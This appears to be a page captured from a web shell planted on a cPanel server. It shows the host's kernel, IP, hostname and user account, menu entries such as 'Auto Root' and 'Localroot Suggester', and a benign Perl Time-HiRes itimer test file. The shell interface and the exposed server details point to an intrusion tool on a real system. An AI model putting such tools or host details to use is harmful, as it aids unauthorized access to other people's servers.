Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
Time-HiRes /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
Watchdog.pm
1.63
KB
-r--r--r--
2014-12-27 11:48
alarm.t
5.83
KB
-r--r--r--
2014-12-27 11:48
clock.t
2.65
KB
-r--r--r--
2014-12-27 11:48
gettimeofday.t
757
B
-r--r--r--
2014-12-27 11:48
itimer.t
1.69
KB
-r--r--r--
2014-12-27 11:48
nanosleep.t
838
B
-r--r--r--
2014-12-27 11:48
sleep.t
811
B
-r--r--r--
2014-12-27 11:48
stat.t
2.42
KB
-r--r--r--
2014-12-27 11:48
time.t
551
B
-r--r--r--
2014-12-27 11:48
tv_interval.t
186
B
-r--r--r--
2014-12-27 11:48
ualarm.t
2.65
KB
-r--r--r--
2014-12-27 11:48
usleep.t
1.92
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
use strict; sub has_symbol { my $symbol = shift; eval "use Time::HiRes qw($symbol)"; return 0 unless $@ eq ''; eval "my \$a = $symbol"; return $@ eq ''; } use Config; BEGIN { require Time::HiRes; unless(defined &Time::HiRes::setitimer && defined &Time::HiRes::getitimer && has_symbol('ITIMER_VIRTUAL') && $Config{sig_name} =~ m/\bVTALRM\b/ && $^O ne 'nto' # nto: QNX 6 has the API but no implementation && $^O ne 'haiku' # haiku: has the API but no implementation && $^O ne 'gnu' # GNU/Hurd: has the API but no implementation ) { require Test::More; Test::More::plan(skip_all => "no itimer"); } } use Test::More 0.82 tests => 2; use t::Watchdog; my $limit = 0.25; # 25% is acceptable slosh for testing timers my $i = 3; my $r = [Time::HiRes::gettimeofday()]; $SIG{VTALRM} = sub { $i ? $i-- : Time::HiRes::setitimer(&Time::HiRes::ITIMER_VIRTUAL, 0); note "Tick! $i ", Time::HiRes::tv_interval($r); }; note "setitimer: ", join(" ", Time::HiRes::setitimer(&Time::HiRes::ITIMER_VIRTUAL, 0.5, 0.4)); # Assume interval timer granularity of $limit * 0.5 seconds. Too bold? my $virt = Time::HiRes::getitimer(&Time::HiRes::ITIMER_VIRTUAL); ok defined $virt && abs($virt / 0.5) - 1 < $limit; note "getitimer: ", join(" ", Time::HiRes::getitimer(&Time::HiRes::ITIMER_VIRTUAL)); while (Time::HiRes::getitimer(&Time::HiRes::ITIMER_VIRTUAL)) { my $j; for (1..1000) { $j++ } # Can't be unbreakable, must test getitimer(). } note "getitimer: ", join(" ", Time::HiRes::getitimer(&Time::HiRes::ITIMER_VIRTUAL)); $virt = Time::HiRes::getitimer(&Time::HiRes::ITIMER_VIRTUAL); ok defined $virt && $virt == 0; $SIG{VTALRM} = 'DEFAULT'; 1;